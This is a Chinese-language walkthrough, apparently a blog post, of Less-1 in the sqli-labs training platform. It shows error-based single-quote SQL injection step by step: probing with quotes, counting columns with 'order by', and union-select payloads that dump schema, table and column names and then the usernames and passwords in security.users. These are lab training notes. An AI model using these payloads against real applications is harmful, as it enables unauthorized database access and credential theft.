sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)相关的知识,希望对你有一定的参考价值。

记得把php.in中的转义参数magic_quotes_gpc配置成Off:

不然发送的请求参数中的符号会被加上\\转义,从而无法直接拼接到SQL语句中去

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

第一关提示我们输入ID作为参数和数值
查询id=1:

显示了
Your Login name:Dumb
Your Password:Dumb
查询id=1’

出现报错,输出的1’拼接成了’1’’ LIMIT 0,1
limit 0,1, 从你的表中的第0个数据开始,只读取一个
查询1’ and ‘1’='2

没有结果
查询1’ and ‘1’='1

正常返回结果
证明可以成功拼接查询返回结果
查询1’ or 1=1; --+可以返回表中所有数据

SELECT * FROM users WHERE id='1' or 1=1; -- ' LIMIT 0,1

但是源代码中的mysql_fetch_array函数每次只从结果集中取得一行作为关联数组:

所以每次只会在前端显示一行数据

接下来我们先查询这个表中有多少列数据,先将返回结果按照1,2,3列排序:
查询

1' order by 3;--+

都正常返回,证明表中至少有三列数据
查询

1' order by 4;--+

没有第4列,说明表中只有三列数据
接下来我们使用union联合查询查找表中的数据
查询

0' union select 1,2,3 --+

查询3列的返回数据,在前端显示的只有2和3,意味着我们的注入点只能是2和3

2、猜测数据库

查询当前数据库名称

0' union select 1,database(),3 --+

当前数据库名称是security
也可以查看所有数据库的名称:

0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

得到所有数据库的名称:information_schema,challenges,mysql,performance_schema,security,sys

3、猜测数据库表︰

之后查看security数据库下的表名

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

得到security数据库下的表名:emails,referers,uagents,users

4、猜字段

查看users表下面有哪些字段

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+

接下来我们就可以读取用户名和密码的值了

id=0' union select 1,group_concat(username),3 from security.users --+

读取密码的值:

id=0' union select 1,group_concat(password),3 from security.users --+

成功读取数据库中的字段值

以上是关于sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)的主要内容,如果未能解决你的问题,请参考以下文章

sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

SQL-Labs从搭建到闯关(SQL注入天书)

sql-labs(1~~4关)漏洞分析

sql-labs

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第八关Less-8)

通过sqli-labs学习sql注入——基础挑战之less1